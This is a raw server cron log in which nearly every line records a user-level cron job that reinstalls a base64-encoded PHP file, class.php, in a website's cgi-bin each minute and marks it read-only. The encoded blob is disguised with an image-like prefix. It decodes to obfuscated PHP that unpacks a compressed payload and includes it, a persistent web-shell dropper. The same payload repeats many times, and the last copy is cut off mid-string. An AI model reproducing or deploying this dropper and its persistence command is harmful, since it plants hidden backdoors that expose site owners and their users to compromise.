Apr 11 14:53:01 server CROND[10094]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 14:54:01 server CROND[10252]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 14:55:01 server CROND[10319]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 14:55:01 server CROND[10321]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 14:55:01 server CROND[10320]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 14:56:01 server CROND[10491]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 14:57:01 server CROND[10633]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 14:57:01 server CROND[10637]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 11 14:58:01 server CROND[10737]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 14:59:01 server CROND[10802]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 15:00:01 server CROND[10964]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 15:00:01 server CROND[10965]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 15:00:01 server CROND[10966]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 15:00:01 server CROND[10975]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 15:01:01 server CROND[11100]: (root) CMD (run-parts /etc/cron.hourly)
Apr 11 15:01:01 server CROND[11101]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 15:01:01 server run-parts(/etc/cron.hourly)[11100]: starting 0anacron
Apr 11 15:01:01 server run-parts(/etc/cron.hourly)[11113]: finished 0anacron
Apr 11 15:02:01 server CROND[11167]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 15:03:01 server CROND[11231]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 15:04:01 server CROND[11301]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 15:05:01 server CROND[11477]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 15:05:01 server CROND[11478]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 15:05:01 server CROND[11480]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 15:05:01 server CROND[11479]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 11 15:06:01 server CROND[11606]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAo